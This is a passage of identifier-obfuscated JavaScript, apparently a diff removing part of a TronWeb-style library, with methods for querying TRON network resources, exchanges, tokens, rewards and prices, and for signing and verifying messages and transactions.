- var _0x3cee73 = arguments.length > 1 && undefined !== arguments[1] ? arguments[1] : this.tronWeb.defaultAddress.hex;
- var _0x48690b = arguments.length > 2 && undefined !== arguments[2] ? arguments[2] : {
- confirmed: true
- };
- var _0x26cdd6 = arguments.length > 3 && undefined !== arguments[3] && arguments[3];
- _0x1db97c.isFunction(_0x48690b) && (_0x26cdd6 = _0x48690b, _0x48690b = {
- confirmed: true
- });
- _0x1db97c.isFunction(_0x3cee73) && (_0x26cdd6 = _0x3cee73, _0x3cee73 = this.tronWeb.defaultAddress.hex);
- _0x1db97c.isFunction(_0x176145) && (_0x26cdd6 = _0x176145, _0x176145 = this.tronWeb.defaultAddress.hex, _0x3cee73 = this.tronWeb.defaultAddress.hex);
- return _0x26cdd6 ? this.tronWeb.isAddress(_0x176145) && this.tronWeb.isAddress(_0x3cee73) ? void this.tronWeb[_0x48690b.confirmed ? "solidityNode" : "fullNode"].request("wallet".concat(_0x48690b.confirmed ? "solidity" : "", "/getdelegatedresourcev2"), {
- fromAddress: _0x5ef2ea(_0x176145),
- toAddress: _0x5ef2ea(_0x3cee73)
- }, "post").then(function (_0x5484cf) {
- _0x26cdd6(null, _0x5484cf);
- }).catch(function (_0x595467) {
- return _0x26cdd6(_0x595467);
- }) : _0x26cdd6("Invalid address provided") : this.injectPromise(this.getDelegatedResourceV2, _0x176145, _0x3cee73, _0x48690b);
- }
- }, {
- key: "getDelegatedResourceAccountIndexV2",
- value: function () {
- var _0x5b2458 = arguments.length > 0 && undefined !== arguments[0] ? arguments[0] : this.tronWeb.defaultAddress.hex;
- var _0x2d2857 = arguments.length > 1 && undefined !== arguments[1] ? arguments[1] : {
- confirmed: true
- };
- var _0x455aa2 = arguments.length > 2 && undefined !== arguments[2] && arguments[2];
- _0x1db97c.isFunction(_0x2d2857) && (_0x455aa2 = _0x2d2857, _0x2d2857 = {
- confirmed: true
- });
- _0x1db97c.isFunction(_0x5b2458) && (_0x455aa2 = _0x5b2458, _0x5b2458 = this.tronWeb.defaultAddress.hex);
- return _0x455aa2 ? this.tronWeb.isAddress(_0x5b2458) ? void this.tronWeb[_0x2d2857.confirmed ? "solidityNode" : "fullNode"].request("wallet".concat(_0x2d2857.confirmed ? "solidity" : "", "/getdelegatedresourceaccountindexv2"), {
- value: _0x5ef2ea(_0x5b2458)
- }, "post").then(function (_0x17a5cf) {
- _0x455aa2(null, _0x17a5cf);
- }).catch(function (_0x378da0) {
- return _0x455aa2(_0x378da0);
- }) : _0x455aa2("Invalid address provided") : this.injectPromise(this.getDelegatedResourceAccountIndexV2, _0x5b2458, _0x2d2857);
- }
- }, {
- key: "getCanDelegatedMaxSize",
- value: function () {
- var _0x467b6d = arguments.length > 0 && undefined !== arguments[0] ? arguments[0] : this.tronWeb.defaultAddress.hex;
- var _0x224fda = arguments.length > 1 && undefined !== arguments[1] ? arguments[1] : "BANDWIDTH";
- var _0x132332 = arguments.length > 2 && undefined !== arguments[2] ? arguments[2] : {
- confirmed: true
- };
- var _0x1d2285 = arguments.length > 3 && undefined !== arguments[3] && arguments[3];
- _0x1db97c.isFunction(_0x132332) && (_0x1d2285 = _0x132332, _0x132332 = {
- confirmed: true
- });
- _0x1db97c.isFunction(_0x224fda) && (_0x1d2285 = _0x224fda, _0x224fda = "BANDWIDTH");
- _0x1db97c.isFunction(_0x467b6d) && (_0x1d2285 = _0x467b6d, _0x467b6d = this.tronWeb.defaultAddress.hex);
- return _0x1d2285 ? this.tronWeb.isAddress(_0x467b6d) ? void (this.validator.notValid([{
- name: "resource",
- type: "resource",
- value: _0x224fda,
- msg: "Invalid resource provided: Expected \"BANDWIDTH\" or \"ENERGY\""
- }], _0x1d2285) || this.tronWeb[_0x132332.confirmed ? "solidityNode" : "fullNode"].request("wallet".concat(_0x132332.confirmed ? "solidity" : "", "/getcandelegatedmaxsize"), {
- owner_address: _0x5ef2ea(_0x467b6d),
- type: "ENERGY" === _0x224fda ? 1 : 0
- }, "post").then(function (_0x668514) {
- _0x1d2285(null, _0x668514);
- }).catch(function (_0x116f71) {
- return _0x1d2285(_0x116f71);
- })) : _0x1d2285("Invalid address provided") : this.injectPromise(this.getCanDelegatedMaxSize, _0x467b6d, _0x224fda, _0x132332);
- }
- }, {
- key: "getAvailableUnfreezeCount",
- value: function () {
- var _0x2826f9 = arguments.length > 0 && undefined !== arguments[0] ? arguments[0] : this.tronWeb.defaultAddress.hex;
- var _0x2b5cf1 = arguments.length > 1 && undefined !== arguments[1] ? arguments[1] : {
- confirmed: true
- };
- var _0x1df3ae = arguments.length > 2 && undefined !== arguments[2] && arguments[2];
- _0x1db97c.isFunction(_0x2b5cf1) && (_0x1df3ae = _0x2b5cf1, _0x2b5cf1 = {
- confirmed: true
- });
- _0x1db97c.isFunction(_0x2826f9) && (_0x1df3ae = _0x2826f9, _0x2826f9 = this.tronWeb.defaultAddress.hex);
- return _0x1df3ae ? this.tronWeb.isAddress(_0x2826f9) ? void this.tronWeb[_0x2b5cf1.confirmed ? "solidityNode" : "fullNode"].request("wallet".concat(_0x2b5cf1.confirmed ? "solidity" : "", "/getavailableunfreezecount"), {
- owner_address: _0x5ef2ea(_0x2826f9)
- }, "post").then(function (_0x8f08c9) {
- _0x1df3ae(null, _0x8f08c9);
- }).catch(function (_0x619fcf) {
- return _0x1df3ae(_0x619fcf);
- }) : _0x1df3ae("Invalid address provided") : this.injectPromise(this.getAvailableUnfreezeCount, _0x2826f9, _0x2b5cf1);
- }
- }, {
- key: "getCanWithdrawUnfreezeAmount",
- value: function () {
- var _0x298e81 = arguments.length > 0 && undefined !== arguments[0] ? arguments[0] : this.tronWeb.defaultAddress.hex;
- var _0x5d89fa = arguments.length > 1 && undefined !== arguments[1] ? arguments[1] : Date.now();
- var _0x4292e7 = arguments.length > 2 && undefined !== arguments[2] ? arguments[2] : {
- confirmed: true
- };
- var _0x42aee9 = arguments.length > 3 && undefined !== arguments[3] && arguments[3];
- _0x1db97c.isFunction(_0x4292e7) && (_0x42aee9 = _0x4292e7, _0x4292e7 = {
- confirmed: true
- });
- _0x1db97c.isFunction(_0x5d89fa) && (_0x42aee9 = _0x5d89fa, _0x5d89fa = Date.now());
- _0x1db97c.isFunction(_0x298e81) && (_0x42aee9 = _0x298e81, _0x298e81 = this.tronWeb.defaultAddress.hex);
- return _0x42aee9 ? this.tronWeb.isAddress(_0x298e81) ? !_0x1db97c.isInteger(_0x5d89fa) || _0x5d89fa < 0 ? _0x42aee9("Invalid timestamp provided") : void this.tronWeb[_0x4292e7.confirmed ? "solidityNode" : "fullNode"].request("wallet".concat(_0x4292e7.confirmed ? "solidity" : "", "/getcanwithdrawunfreezeamount"), {
- owner_address: _0x5ef2ea(_0x298e81),
- timestamp: _0x5d89fa
- }, "post").then(function (_0x272811) {
- _0x42aee9(null, _0x272811);
- }).catch(function (_0x51774b) {
- return _0x42aee9(_0x51774b);
- }) : _0x42aee9("Invalid address provided") : this.injectPromise(this.getCanWithdrawUnfreezeAmount, _0x298e81, _0x5d89fa, _0x4292e7);
- }
- }, {
- key: "getExchangeByID",
- value: function () {
- var _0x51ee21 = arguments.length > 0 && undefined !== arguments[0] && arguments[0];
- var _0x3bfa0b = arguments.length > 1 && undefined !== arguments[1] && arguments[1];
- return _0x3bfa0b ? !_0x1db97c.isInteger(_0x51ee21) || _0x51ee21 < 0 ? _0x3bfa0b("Invalid exchangeID provided") : void this.tronWeb.fullNode.request("wallet/getexchangebyid", {
- id: _0x51ee21
- }, "post").then(function (_0x1cdfc6) {
- _0x3bfa0b(null, _0x1cdfc6);
- }).catch(function (_0x33d401) {
- return _0x3bfa0b(_0x33d401);
- }) : this.injectPromise(this.getExchangeByID, _0x51ee21);
- }
- }, {
- key: "listExchanges",
- value: function () {
- var _0x79c51 = arguments.length > 0 && undefined !== arguments[0] && arguments[0];
- if (!_0x79c51) {
- return this.injectPromise(this.listExchanges);
- }
- this.tronWeb.fullNode.request("wallet/listexchanges", {}, "post").then(function (_0x1e65e7) {
- var _0x1f3b7b = _0x1e65e7.exchanges;
- _0x79c51(null, undefined === _0x1f3b7b ? [] : _0x1f3b7b);
- }, "post").catch(function (_0xec4eef) {
- return _0x79c51(_0xec4eef);
- });
- }
- }, {
- key: "listExchangesPaginated",
- value: function () {
- var _0x21f02f = arguments.length > 0 && undefined !== arguments[0] ? arguments[0] : 10;
- var _0x27980f = arguments.length > 1 && undefined !== arguments[1] ? arguments[1] : 0;
- var _0x7f7f65 = arguments.length > 2 && undefined !== arguments[2] && arguments[2];
- if (_0x1db97c.isFunction(_0x27980f) && (_0x7f7f65 = _0x27980f, _0x27980f = 0), _0x1db97c.isFunction(_0x21f02f) && (_0x7f7f65 = _0x21f02f, _0x21f02f = 10), !_0x7f7f65) {
- return this.injectPromise(this.listExchangesPaginated, _0x21f02f, _0x27980f);
- }
- this.tronWeb.fullNode.request("wallet/getpaginatedexchangelist", {
- limit: _0x21f02f,
- offset: _0x27980f
- }, "post").then(function (_0x3d3b3f) {
- var _0x49cba7 = _0x3d3b3f.exchanges;
- _0x7f7f65(null, undefined === _0x49cba7 ? [] : _0x49cba7);
- }).catch(function (_0x914079) {
- return _0x7f7f65(_0x914079);
- });
- }
- }, {
- key: "getNodeInfo",
- value: function () {
- var _0x17fdcc = arguments.length > 0 && undefined !== arguments[0] && arguments[0];
- if (!_0x17fdcc) {
- return this.injectPromise(this.getNodeInfo);
- }
- this.tronWeb.fullNode.request("wallet/getnodeinfo", {}, "post").then(function (_0x1083b6) {
- _0x17fdcc(null, _0x1083b6);
- }, "post").catch(function (_0x207ff8) {
- return _0x17fdcc(_0x207ff8);
- });
- }
- }, {
- key: "getTokenListByName",
- value: function () {
- var _0x3847dd = this;
- var _0x12d6ed = arguments.length > 0 && undefined !== arguments[0] && arguments[0];
- var _0x33fe05 = arguments.length > 1 && undefined !== arguments[1] && arguments[1];
- return _0x33fe05 ? (_0x1db97c.isInteger(_0x12d6ed) && (_0x12d6ed = _0x12d6ed.toString()), _0x1db97c.isString(_0x12d6ed) && _0x12d6ed.length ? void this.tronWeb.fullNode.request("wallet/getassetissuelistbyname", {
- value: this.tronWeb.fromUtf8(_0x12d6ed)
- }, "post").then(function (_0x27295d) {
- if (Array.isArray(_0x27295d.assetIssue)) {
- _0x33fe05(null, _0x27295d.assetIssue.map(function (_0x5d6125) {
- return _0x3847dd._parseToken(_0x5d6125);
- }));
- } else {
- if (!_0x27295d.name) {
- return _0x33fe05("Token does not exist");
- }
- }
- _0x33fe05(null, _0x3847dd._parseToken(_0x27295d));
- }).catch(function (_0x11dbe2) {
- return _0x33fe05(_0x11dbe2);
- }) : _0x33fe05("Invalid token ID provided")) : this.injectPromise(this.getTokenListByName, _0x12d6ed);
- }
- }, {
- key: "getTokenByID",
- value: function () {
- var _0x2b3398 = this;
- var _0x1a129d = arguments.length > 0 && undefined !== arguments[0] && arguments[0];
- var _0x41cc3a = arguments.length > 1 && undefined !== arguments[1] && arguments[1];
- return _0x41cc3a ? (_0x1db97c.isInteger(_0x1a129d) && (_0x1a129d = _0x1a129d.toString()), _0x1db97c.isString(_0x1a129d) && _0x1a129d.length ? void this.tronWeb.fullNode.request("wallet/getassetissuebyid", {
- value: _0x1a129d
- }, "post").then(function (_0x16053e) {
- if (!_0x16053e.name) {
- return _0x41cc3a("Token does not exist");
- }
- _0x41cc3a(null, _0x2b3398._parseToken(_0x16053e));
- }).catch(function (_0x56301b) {
- return _0x41cc3a(_0x56301b);
- }) : _0x41cc3a("Invalid token ID provided")) : this.injectPromise(this.getTokenByID, _0x1a129d);
- }
- }, {
- key: "getReward",
- value: (_0x13e0bd = _0x203d83(_0x307918().mark(function _0x428e7f(_0x52ab49) {
- var _0x4f297c;
- var _0xdaaea0;
- var _0x2ab696 = arguments;
- return _0x307918().wrap(function (_0x58bb5d) {
- for (;;) {
- switch (_0x58bb5d.prev = _0x58bb5d.next) {
- case 0:
- _0xdaaea0 = _0x2ab696.length > 2 && undefined !== _0x2ab696[2] && _0x2ab696[2];
- (_0x4f297c = _0x2ab696.length > 1 && undefined !== _0x2ab696[1] ? _0x2ab696[1] : {}).confirmed = true;
- return _0x58bb5d.abrupt("return", this._getReward(_0x52ab49, _0x4f297c, _0xdaaea0));
- case 4:
- case "end":
- return _0x58bb5d.stop();
- }
- }
- }, _0x428e7f, this);
- })), function (_0x57fb43) {
- return _0x13e0bd.apply(this, arguments);
- })
- }, {
- key: "getUnconfirmedReward",
- value: (_0xc68f10 = _0x203d83(_0x307918().mark(function _0x517932(_0x5f4abd) {
- var _0x377fdb;
- var _0x57a67e;
- var _0x5c59e0 = arguments;
- return _0x307918().wrap(function (_0x5f567f) {
- for (;;) {
- switch (_0x5f567f.prev = _0x5f567f.next) {
- case 0:
- _0x57a67e = _0x5c59e0.length > 2 && undefined !== _0x5c59e0[2] && _0x5c59e0[2];
- (_0x377fdb = _0x5c59e0.length > 1 && undefined !== _0x5c59e0[1] ? _0x5c59e0[1] : {}).confirmed = false;
- return _0x5f567f.abrupt("return", this._getReward(_0x5f4abd, _0x377fdb, _0x57a67e));
- case 4:
- case "end":
- return _0x5f567f.stop();
- }
- }
- }, _0x517932, this);
- })), function (_0x37567a) {
- return _0xc68f10.apply(this, arguments);
- })
- }, {
- key: "getBrokerage",
- value: (_0x760e03 = _0x203d83(_0x307918().mark(function _0x3917ba(_0x4d2c2c) {
- var _0x3b755c;
- var _0x4d2116;
- var _0x2bd163 = arguments;
- return _0x307918().wrap(function (_0x56dc3c) {
- for (;;) {
- switch (_0x56dc3c.prev = _0x56dc3c.next) {
- case 0:
- _0x4d2116 = _0x2bd163.length > 2 && undefined !== _0x2bd163[2] && _0x2bd163[2];
- (_0x3b755c = _0x2bd163.length > 1 && undefined !== _0x2bd163[1] ? _0x2bd163[1] : {}).confirmed = true;
- return _0x56dc3c.abrupt("return", this._getBrokerage(_0x4d2c2c, _0x3b755c, _0x4d2116));
- case 4:
- case "end":
- return _0x56dc3c.stop();
- }
- }
- }, _0x3917ba, this);
- })), function (_0x370dd3) {
- return _0x760e03.apply(this, arguments);
- })
- }, {
- key: "getUnconfirmedBrokerage",
- value: (_0x263c33 = _0x203d83(_0x307918().mark(function _0x2ed602(_0x450a4d) {
- var _0x196037;
- var _0x49aefb;
- var _0xee5dca = arguments;
- return _0x307918().wrap(function (_0x4a595d) {
- for (;;) {
- switch (_0x4a595d.prev = _0x4a595d.next) {
- case 0:
- _0x49aefb = _0xee5dca.length > 2 && undefined !== _0xee5dca[2] && _0xee5dca[2];
- (_0x196037 = _0xee5dca.length > 1 && undefined !== _0xee5dca[1] ? _0xee5dca[1] : {}).confirmed = false;
- return _0x4a595d.abrupt("return", this._getBrokerage(_0x450a4d, _0x196037, _0x49aefb));
- case 4:
- case "end":
- return _0x4a595d.stop();
- }
- }
- }, _0x2ed602, this);
- })), function (_0x5da8de) {
- return _0x263c33.apply(this, arguments);
- })
- }, {
- key: "_getReward",
- value: (_0x5f3e98 = _0x203d83(_0x307918().mark(function _0x17863d() {
- var _0x1bffc6;
- var _0x2f20d1;
- var _0x485dad;
- var _0x4be361;
- var _0x1d147e = arguments;
- return _0x307918().wrap(function (_0x29be34) {
- for (;;) {
- switch (_0x29be34.prev = _0x29be34.next) {
- case 0:
- if (_0x1bffc6 = _0x1d147e.length > 0 && undefined !== _0x1d147e[0] ? _0x1d147e[0] : this.tronWeb.defaultAddress.hex, _0x2f20d1 = _0x1d147e.length > 1 ? _0x1d147e[1] : undefined, _0x485dad = _0x1d147e.length > 2 && undefined !== _0x1d147e[2] && _0x1d147e[2], _0x1db97c.isFunction(_0x2f20d1) && (_0x485dad = _0x2f20d1, _0x2f20d1 = {}), _0x1db97c.isFunction(_0x1bffc6) ? (_0x485dad = _0x1bffc6, _0x1bffc6 = this.tronWeb.defaultAddress.hex) : _0x1db97c.isObject(_0x1bffc6) && (_0x2f20d1 = _0x1bffc6, _0x1bffc6 = this.tronWeb.defaultAddress.hex), _0x485dad) {
- _0x29be34.next = 7;
- break;
- }
- return _0x29be34.abrupt("return", this.injectPromise(this._getReward, _0x1bffc6, _0x2f20d1));
- case 7:
- if (!this.validator.notValid([{
- name: "origin",
- type: "address",
- value: _0x1bffc6
- }], _0x485dad)) {
- _0x29be34.next = 9;
- break;
- }
- return _0x29be34.abrupt("return");
- case 9:
- _0x4be361 = {
- address: _0x5ef2ea(_0x1bffc6)
- };
- this.tronWeb[_0x2f20d1.confirmed ? "solidityNode" : "fullNode"].request("wallet".concat(_0x2f20d1.confirmed ? "solidity" : "", "/getReward"), _0x4be361, "post").then(function () {
- var _0x23d360 = arguments.length > 0 && undefined !== arguments[0] ? arguments[0] : {};
- if (undefined === _0x23d360.reward) {
- return _0x485dad("Not found.");
- }
- _0x485dad(null, _0x23d360.reward);
- }).catch(function (_0x242756) {
- return _0x485dad(_0x242756);
- });
- case 11:
- case "end":
- return _0x29be34.stop();
- }
- }
- }, _0x17863d, this);
- })), function () {
- return _0x5f3e98.apply(this, arguments);
- })
- }, {
- key: "_getBrokerage",
- value: (_0x2b7b22 = _0x203d83(_0x307918().mark(function _0x508671() {
- var _0x3dea3a;
- var _0xef0a78;
- var _0x10285b;
- var _0x320847;
- var _0x12de24 = arguments;
- return _0x307918().wrap(function (_0x1c444f) {
- for (;;) {
- switch (_0x1c444f.prev = _0x1c444f.next) {
- case 0:
- if (_0x3dea3a = _0x12de24.length > 0 && undefined !== _0x12de24[0] ? _0x12de24[0] : this.tronWeb.defaultAddress.hex, _0xef0a78 = _0x12de24.length > 1 ? _0x12de24[1] : undefined, _0x10285b = _0x12de24.length > 2 && undefined !== _0x12de24[2] && _0x12de24[2], _0x1db97c.isFunction(_0xef0a78) && (_0x10285b = _0xef0a78, _0xef0a78 = {}), _0x1db97c.isFunction(_0x3dea3a) ? (_0x10285b = _0x3dea3a, _0x3dea3a = this.tronWeb.defaultAddress.hex) : _0x1db97c.isObject(_0x3dea3a) && (_0xef0a78 = _0x3dea3a, _0x3dea3a = this.tronWeb.defaultAddress.hex), _0x10285b) {
- _0x1c444f.next = 7;
- break;
- }
- return _0x1c444f.abrupt("return", this.injectPromise(this._getBrokerage, _0x3dea3a, _0xef0a78));
- case 7:
- if (!this.validator.notValid([{
- name: "origin",
- type: "address",
- value: _0x3dea3a
- }], _0x10285b)) {
- _0x1c444f.next = 9;
- break;
- }
- return _0x1c444f.abrupt("return");
- case 9:
- _0x320847 = {
- address: _0x5ef2ea(_0x3dea3a)
- };
- this.tronWeb[_0xef0a78.confirmed ? "solidityNode" : "fullNode"].request("wallet".concat(_0xef0a78.confirmed ? "solidity" : "", "/getBrokerage"), _0x320847, "post").then(function () {
- var _0x10a0be = arguments.length > 0 && undefined !== arguments[0] ? arguments[0] : {};
- if (undefined === _0x10a0be.brokerage) {
- return _0x10285b("Not found.");
- }
- _0x10285b(null, _0x10a0be.brokerage);
- }).catch(function (_0x53822e) {
- return _0x10285b(_0x53822e);
- });
- case 11:
- case "end":
- return _0x1c444f.stop();
- }
- }
- }, _0x508671, this);
- })), function () {
- return _0x2b7b22.apply(this, arguments);
- })
- }, {
- key: "getBandwidthPrices",
- value: (_0xc8ed4b = _0x203d83(_0x307918().mark(function _0x37f1c2() {
- return _0x307918().wrap(function (_0x23e0ca) {
- for (;;) {
- switch (_0x23e0ca.prev = _0x23e0ca.next) {
- case 0:
- return _0x23e0ca.abrupt("return", this.tronWeb.fullNode.request("wallet/getbandwidthprices", {}, "post").then(function () {
- var _0x11f860 = arguments.length > 0 && undefined !== arguments[0] ? arguments[0] : {};
- if (undefined === _0x11f860.prices) {
- throw new Error("Not found.");
- }
- return _0x11f860.prices;
- }));
- case 1:
- case "end":
- return _0x23e0ca.stop();
- }
- }
- }, _0x37f1c2, this);
- })), function () {
- return _0xc8ed4b.apply(this, arguments);
- })
- }, {
- key: "getEnergyPrices",
- value: (_0x4e8a08 = _0x203d83(_0x307918().mark(function _0x5d0651() {
- return _0x307918().wrap(function (_0x38ff91) {
- for (;;) {
- switch (_0x38ff91.prev = _0x38ff91.next) {
- case 0:
- return _0x38ff91.abrupt("return", this.tronWeb.fullNode.request("wallet/getenergyprices", {}, "post").then(function () {
- var _0x3c276d = arguments.length > 0 && undefined !== arguments[0] ? arguments[0] : {};
- if (undefined === _0x3c276d.prices) {
- throw new Error("Not found.");
- }
- return _0x3c276d.prices;
- }));
- case 1:
- case "end":
- return _0x38ff91.stop();
- }
- }
- }, _0x5d0651, this);
- })), function () {
- return _0x4e8a08.apply(this, arguments);
- })
- }], [{
- key: "ecRecover",
- value: function (_0x3e80b7) {
- var _0x563cd6;
- if (!_0x2fd324(_0x3e80b7)) {
- throw new Error("Invalid transaction");
- }
- if (null === (_0x563cd6 = _0x3e80b7.signature) || undefined === _0x563cd6 || !_0x563cd6.length) {
- throw new Error("Transaction is not signed");
- }
- if (1 === _0x3e80b7.signature.length) {
- var _0x45ffcc = _0x3f4e4b(_0x3e80b7.txID, _0x3e80b7.signature[0]);
- return _0x2d34c8.address.fromHex(_0x45ffcc);
- }
- return _0x3e80b7.signature.map(function (_0x2ae332) {
- var _0x3d0ec6 = _0x3f4e4b(_0x3e80b7.txID, _0x2ae332);
- return _0x2d34c8.address.fromHex(_0x3d0ec6);
- });
- }
- }, {
- key: "verifySignature",
- value: function (_0x179c4, _0x127157, _0x1d4daf) {
- var _0x38fc61 = !(arguments.length > 3 && undefined !== arguments[3]) || arguments[3];
- _0x179c4 = _0x179c4.replace(/^0x/, "");
- var _0x184df2 = [].concat(_0x4cbd27(_0x1667a1(_0x38fc61 ? _0x197f65 : _0x41e463)), _0x4cbd27(_0x1db97c.code.hexStr2byteArray(_0x179c4)));
- var _0x1f6794 = _0x56c182(_0xa68238(new Uint8Array(_0x184df2)), _0x47e1c0.from("0x".concat(_0x1d4daf.replace(/^0x/, ""))));
- var _0x48a6f8 = _0x40cce0 + _0x1f6794.substr(2);
- return _0x2d34c8.address.fromHex(_0x48a6f8) == _0x2d34c8.address.fromHex(_0x127157);
- }
- }, {
- key: "verifyMessageV2",
- value: function (_0x5c69ba, _0x3359d0) {
- return _0x1db97c.message.verifyMessage(_0x5c69ba, _0x3359d0);
- }
- }, {
- key: "verifyTypedData",
- value: function (_0x23617f, _0x13602e, _0xb0092a, _0x4725bb, _0x3e1450) {
- var _0x3d96e1 = _0x56c182(_0x1db97c._TypedDataEncoder.hash(_0x23617f, _0x13602e, _0xb0092a), _0x47e1c0.from("0x".concat(_0x4725bb.replace(/^0x/, ""))));
- var _0x394a33 = _0x40cce0 + _0x3d96e1.substr(2);
- return _0x2d34c8.address.fromHex(_0x394a33) == _0x2d34c8.address.fromHex(_0x3e1450);
- }
- }, {
- key: "signString",
- value: function (_0x5bd61f, _0xbef834) {
- var _0x41a6d1 = !(arguments.length > 2 && undefined !== arguments[2]) || arguments[2];
- _0x5bd61f = _0x5bd61f.replace(/^0x/, "");
- var _0x3dfef9 = "0x".concat(_0xbef834.replace(/^0x/, ""));
- var _0x2d477b = new _0xda262b(_0x3dfef9);
- var _0x33dbf4 = [].concat(_0x4cbd27(_0x1667a1(_0x41a6d1 ? _0x197f65 : _0x41e463)), _0x4cbd27(_0x1db97c.code.hexStr2byteArray(_0x5bd61f)));
- var _0x245fb6 = _0xa68238(new Uint8Array(_0x33dbf4));
- var _0x57e9f6 = _0x2d477b.sign(_0x245fb6);
- return ["0x", _0x57e9f6.r.substring(2), _0x57e9f6.s.substring(2), Number(_0x57e9f6.v).toString(16)].join("");
- }
- }, {
- key: "signMessageV2",
- value: function (_0x5a2ec9, _0x2eaefa) {
- return _0x1db97c.message.signMessage(_0x5a2ec9, _0x2eaefa);
- }
- }, {
- key: "_signTypedData",
- value: function (_0x44401a, _0x388dc3, _0x5bb47e, _0x4ec46f) {
- return _0x1db97c.crypto._signTypedData(_0x44401a, _0x388dc3, _0x5bb47e, _0x4ec46f);
- }
- }]);
- return _0x28677e;
- }();
- function _0x47bcfe(_0x29b1df, _0x365e91) {
- var _0x381417 = Object.keys(_0x29b1df);
- if (Object.getOwnPropertySymbols) {
- var _0x4d2dbe = Object.getOwnPropertySymbols(_0x29b1df);
- _0x365e91 && (_0x4d2dbe = _0x4d2dbe.filter(function (_0x6740d2) {
- return Object.getOwnPropertyDescriptor(_0x29b1df, _0x6740d2).enumerable;
- }));
- _0x381417.push.apply(_0x381417, _0x4d2dbe);
- }
- return _0x381417;
- }
- function _0x5e9a38(_0x3b2103) {
- for (var _0x76b621 = 1; _0x76b621 < arguments.length; _0x76b621++) {
- var _0x5d6d8f = null != arguments[_0x76b621] ? arguments[_0x76b621] : {};
- _0x76b621 % 2 ? _0x47bcfe(Object(_0x5d6d8f), true).forEach(function (_0x5b777e) {
- _0x713ed3(_0x3b2103, _0x5b777e, _0x5d6d8f[_0x5b777e]);
- }) : Object.getOwnPropertyDescriptors ? Object.defineProperties(_0x3b2103, Object.getOwnPropertyDescriptors(_0x5d6d8f)) : _0x47bcfe(Object(_0x5d6d8f)).forEach(function (_0xfd3dd7) {
- Object.defineProperty(_0x3b2103, _0xfd3dd7, Object.getOwnPropertyDescriptor(_0x5d6d8f, _0xfd3dd7));
- });
- }
- return _0x3b2103;
- }
- var _0x3641de = function (_0x5a4e22) {
- if (_0x5a4e22.stateMutability = _0x5a4e22.stateMutability ? _0x5a4e22.stateMutability.toLowerCase() : "nonpayable", _0x5a4e22.type = _0x5a4e22.type ? _0x5a4e22.type.toLowerCase() : "", "fallback" === _0x5a4e22.type || "receive" === _0x5a4e22.type) {
- return "0x";
- }
- var _0x21dbf6 = new _0x1db97c.ethersUtils.Interface([_0x5a4e22]);
- return "event" === _0x5a4e22.type ? _0x21dbf6.getEvent(_0x5a4e22.name).format(_0x1db97c.ethersUtils.FormatTypes.sighash) : _0x21dbf6.getFunction(_0x5a4e22.name).format(_0x1db97c.ethersUtils.FormatTypes.sighash);
- };
- var _0x3eb624 = function (_0xed76b6, _0x4f8f3b) {
- return _0x3b01a1(_0xed76b6, _0x4f8f3b);
- };
- var _0x13097e = function () {
- function _0x33ab51(_0x3fed31, _0x294a2c) {
- _0x1d998d(this, _0x33ab51);
- this.tronWeb = _0x3fed31.tronWeb;
- this.contract = _0x3fed31;
- this.abi = _0x294a2c;
- this.name = _0x294a2c.name || (_0x294a2c.name = _0x294a2c.type);
- this.inputs = _0x294a2c.inputs || [];
- this.outputs = _0x294a2c.outputs || [];
- this.functionSelector = _0x3641de(_0x294a2c);
- this.signature = this.tronWeb.sha3(this.functionSelector, false).slice(0, 8);
- this.injectPromise = _0x13268c()(this);
- this.defaultOptions = {
- feeLimit: this.tronWeb.feeLimit,
- callValue: 0,
- userFeePercentage: 100,
- shouldPollResponse: false
- };
- }
- var _0xdc40d1;
- var _0x37d1f2;
- var _0x2551d4;
- _0x561e78(_0x33ab51, [{
- key: "decodeInput",
- value: function (_0x17d3de) {
- return _0x3eb624(this.inputs, "0x" + _0x17d3de);
- }
- }, {
- key: "onMethod",
- value: function () {
- var _0x3b9544 = this;
- var _0x4fa754 = "";
- if (this.abi && !/event/i.test(this.abi.type)) {
- for (var _0x3d12ea = arguments.length, _0x1ffd2b = new Array(_0x3d12ea), _0x2c9b76 = 0; _0x2c9b76 < _0x3d12ea; _0x2c9b76++) {
- _0x1ffd2b[_0x2c9b76] = arguments[_0x2c9b76];
- }
- _0x4fa754 = _0x4f1669(this.abi, _0x1ffd2b);
- }
- return {
- call: function () {
- var _0x4cca96 = arguments.length > 0 && undefined !== arguments[0] ? arguments[0] : {};
- var _0x5ea372 = arguments.length > 1 && undefined !== arguments[1] && arguments[1];
- _0x1db97c.isFunction(_0x4cca96) && (_0x5ea372 = _0x4cca96, _0x4cca96 = {});
- _0x4cca96 = _0x5e9a38(_0x5e9a38({}, _0x4cca96), {}, {
- rawParameter: _0x4fa754
- });
- return _0x3b9544._call([], [], _0x4cca96, _0x5ea372);
- },
- send: function () {
- var _0x40ec65 = arguments.length > 0 && undefined !== arguments[0] ? arguments[0] : {};
- var _0x28c997 = arguments.length > 1 && undefined !== arguments[1] ? arguments[1] : _0x3b9544.tronWeb.defaultPrivateKey;
- var _0x53eea9 = arguments.length > 2 && undefined !== arguments[2] && arguments[2];
- _0x1db97c.isFunction(_0x28c997) && (_0x53eea9 = _0x28c997, _0x28c997 = _0x3b9544.tronWeb.defaultPrivateKey);
- _0x1db97c.isFunction(_0x40ec65) && (_0x53eea9 = _0x40ec65, _0x40ec65 = {});
- _0x40ec65 = _0x5e9a38(_0x5e9a38({}, _0x40ec65), {}, {
- rawParameter: _0x4fa754
- });
- return _0x3b9544._send([], [], _0x40ec65, _0x28c997, _0x53eea9);
- },
- watch: function () {
- return _0x3b9544._watch.apply(_0x3b9544, arguments);
- }
- };
- }
- }, {
- key: "_call",
- value: (_0x2551d4 = _0x203d83(_0x307918().mark(function _0x19a164(_0x4f52e9, _0x392b6f) {
- var _0x3bd355;
- var _0x5a4f5e;
- var _0x1f3f37;
- var _0x4a4852;
- var _0x373cf1 = this;
- var _0x38c8cb = arguments;
- return _0x307918().wrap(function (_0x5889b8) {
- for (;;) {
- switch (_0x5889b8.prev = _0x5889b8.next) {
- case 0:
- if (_0x3bd355 = _0x38c8cb.length > 2 && undefined !== _0x38c8cb[2] ? _0x38c8cb[2] : {}, _0x5a4f5e = _0x38c8cb.length > 3 && undefined !== _0x38c8cb[3] && _0x38c8cb[3], _0x1db97c.isFunction(_0x3bd355) && (_0x5a4f5e = _0x3bd355, _0x3bd355 = {}), _0x5a4f5e) {
- _0x5889b8.next = 5;
- break;
- }
- return _0x5889b8.abrupt("return", this.injectPromise(this._call, _0x4f52e9, _0x392b6f, _0x3bd355));
- case 5:
- if (_0x4f52e9.length === _0x392b6f.length) {
- _0x5889b8.next = 7;
